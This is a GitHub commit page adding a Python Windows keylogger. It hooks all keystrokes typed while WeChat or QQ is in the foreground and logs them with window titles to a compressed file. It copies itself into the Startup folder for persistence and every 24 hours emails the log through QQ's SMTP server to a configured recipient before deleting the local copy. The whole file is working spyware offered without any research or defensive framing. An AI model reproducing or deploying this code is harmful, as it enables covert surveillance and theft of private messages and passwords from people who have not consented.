Skip to content

Commit ee2dca1

Browse files
authored
Add files via upload
1 parent ff67655 commit ee2dca1

1 file changed

Lines changed: 216 additions & 0 deletions

File tree

Lines changed: 216 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
import os
2+
import struct
3+
import zlib
4+
import time
5+
from collections import defaultdict
6+
import keyboard
7+
import psutil
8+
import win32gui
9+
import win32process
10+
import smtplib
11+
from email.mime.text import MIMEText
12+
from email.mime.multipart import MIMEMultipart
13+
from email.mime.base import MIMEBase
14+
from email import encoders
15+
16+
17+
# 可配置的应用列表
18+
TARGET_APPS = ["WeChat", "QQ"] # 修改为更容易测试的应用,如记事本
19+
# 配置部分,方便编辑
20+
from_addr = "your_email@example.com"
21+
to_addr = "recipient_email@example.com"
22+
password = "your_email_password_or_smtp_token"
23+
compressed_file = "D:\\key_data.bin"
24+
interval_time = 86400 # 24 hours in seconds
25+
26+
# 自启动功能
27+
def enable_startup():
28+
startup_dir = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')
29+
script_name = os.path.basename(__file__)
30+
script_path = os.path.join(os.getcwd(), script_name)
31+
startup_path = os.path.join(startup_dir, script_name)
32+
33+
if not os.path.exists(startup_path):
34+
with open(startup_path, 'w') as file:
35+
file.write(f'"{script_path}"')
36+
print(f"Program set to start automatically at: {startup_path}")
37+
else:
38+
print("Startup entry already exists.")
39+
40+
# 发送邮件功能
41+
def send_email():
42+
msg = MIMEMultipart()
43+
msg['From'] = from_addr
44+
msg['To'] = to_addr
45+
msg['Subject'] = f'{time.strftime("%Y/%m/%d的记录", time.localtime(os.path.getmtime(compressed_file)))}'
46+
47+
# 附件
48+
with open(compressed_file, "rb") as attachment:
49+
part = MIMEBase("application", "octet-stream")
50+
part.set_payload(attachment.read())
51+
52+
encoders.encode_base64(part)
53+
part.add_header("Content-Disposition", f"attachment; filename= {os.path.basename(compressed_file)}")
54+
msg.attach(part)
55+
56+
# 连接到SMTP服务器并发送邮件
57+
try:
58+
server = smtplib.SMTP_SSL('smtp.qq.com', 465)
59+
server.login(from_addr, password)
60+
server.sendmail(from_addr, to_addr, msg.as_string())
61+
server.close()
62+
print("Email sent successfully.")
63+
except Exception as e:
64+
print(f"Failed to send email: {e}")
65+
66+
# 检查并发送邮件
67+
def check_and_send_email():
68+
if os.path.exists(compressed_file):
69+
last_mod_time = os.path.getmtime(compressed_file)
70+
current_time = time.time()
71+
if current_time - last_mod_time > interval_time:
72+
send_email()
73+
os.remove(compressed_file) # 发送邮件后删除文件
74+
print(f"{compressed_file} deleted after sending email.")
75+
76+
# 全局变量
77+
recorded_data = []
78+
current_window_title = None
79+
key_buffer = {}
80+
MERGE_INTERVAL = 5 # 合并间隔为5秒
81+
is_target_app_active = False
82+
83+
def save_compressed_file():
84+
global recorded_data, compressed_file
85+
86+
if not recorded_data:
87+
return
88+
89+
existing_data = bytearray()
90+
if os.path.exists(compressed_file):
91+
with open(compressed_file, 'rb') as file:
92+
compressed_data = file.read()
93+
if compressed_data:
94+
try:
95+
existing_data = bytearray(zlib.decompress(compressed_data))
96+
except zlib.error:
97+
existing_data = bytearray()
98+
99+
raw_data = existing_data
100+
101+
for window_title, key_name, count, timestamp in recorded_data:
102+
raw_data.append(1)
103+
title_bytes = window_title.encode('utf-8')
104+
raw_data.extend(struct.pack('I', len(title_bytes)))
105+
raw_data.extend(title_bytes)
106+
key_bytes = key_name.encode('utf-8')
107+
raw_data.extend(struct.pack('I', len(key_bytes)))
108+
raw_data.extend(key_bytes)
109+
raw_data.extend(struct.pack('I', count))
110+
raw_data.extend(struct.pack('<d', timestamp))
111+
112+
if raw_data:
113+
compressed_data = zlib.compress(bytes(raw_data))
114+
with open(compressed_file, 'wb') as file:
115+
file.write(compressed_data)
116+
117+
recorded_data.clear()
118+
119+
def process_key_buffer():
120+
global recorded_data, key_buffer, current_window_title
121+
122+
for key, data in list(key_buffer.items()):
123+
recorded_data.append((current_window_title, key, data['count'], data['first_time']))
124+
125+
key_buffer.clear()
126+
127+
def on_key_event(e):
128+
global current_window_title, key_buffer, is_target_app_active
129+
if e.event_type == "down" and is_target_app_active:
130+
key_name = e.name
131+
current_time = time.time()
132+
133+
if key_name in key_buffer:
134+
if current_time - key_buffer[key_name]['last_time'] <= MERGE_INTERVAL:
135+
key_buffer[key_name]['count'] += 1
136+
key_buffer[key_name]['last_time'] = current_time
137+
else:
138+
key_buffer[key_name] = {'count': 1, 'first_time': current_time, 'last_time': current_time}
139+
else:
140+
key_buffer[key_name] = {'count': 1, 'first_time': current_time, 'last_time': current_time}
141+
142+
def get_process_pids(process_names):
143+
pids = defaultdict(list)
144+
for proc in psutil.process_iter(['pid', 'name']):
145+
for name in process_names:
146+
if name.lower() in proc.info['name'].lower():
147+
pids[name].append(proc.info['pid'])
148+
return pids
149+
150+
def get_foreground_window_info():
151+
hwnd = win32gui.GetForegroundWindow()
152+
_, pid = win32process.GetWindowThreadProcessId(hwnd)
153+
title = win32gui.GetWindowText(hwnd)
154+
return pid, title
155+
156+
def normalize_title(title):
157+
return title.lstrip('*')
158+
159+
def is_app_active(app_pids):
160+
fg_window_pid, fg_window_title = get_foreground_window_info()
161+
for app_name, pids in app_pids.items():
162+
if fg_window_pid in pids:
163+
return True, normalize_title(fg_window_title), app_name
164+
return False, normalize_title(fg_window_title), "Global"
165+
166+
def main():
167+
global current_window_title, is_target_app_active
168+
last_window_title = None
169+
last_app_name = None
170+
last_active_pids = set()
171+
keyboard.hook(on_key_event)
172+
173+
enable_startup() # 启动时将自己设置为自启动程序
174+
check_and_send_email() # 检查并发送邮件
175+
176+
try:
177+
while True:
178+
app_pids = get_process_pids(TARGET_APPS) if TARGET_APPS else {}
179+
180+
current_active_pids = set(pid for pids in app_pids.values() for pid in pids)
181+
closed_pids = last_active_pids - current_active_pids
182+
if closed_pids:
183+
process_key_buffer()
184+
save_compressed_file()
185+
last_active_pids = current_active_pids
186+
187+
is_active, window_title, app_name = is_app_active(app_pids)
188+
189+
if is_active or not TARGET_APPS:
190+
current_window_title = f"{app_name}: {window_title}"
191+
192+
if app_name != last_app_name:
193+
if last_app_name:
194+
is_target_app_active = False
195+
process_key_buffer()
196+
save_compressed_file()
197+
last_app_name = app_name
198+
key_buffer.clear()
199+
is_target_app_active = True
200+
201+
elif last_app_name:
202+
is_target_app_active = False
203+
process_key_buffer()
204+
save_compressed_file()
205+
last_app_name = None
206+
key_buffer.clear()
207+
208+
time.sleep(0.5)
209+
except KeyboardInterrupt:
210+
pass
211+
finally:
212+
process_key_buffer()
213+
save_compressed_file()
214+
215+
if __name__ == "__main__":
216+
main()

0 commit comments

Comments
 (0)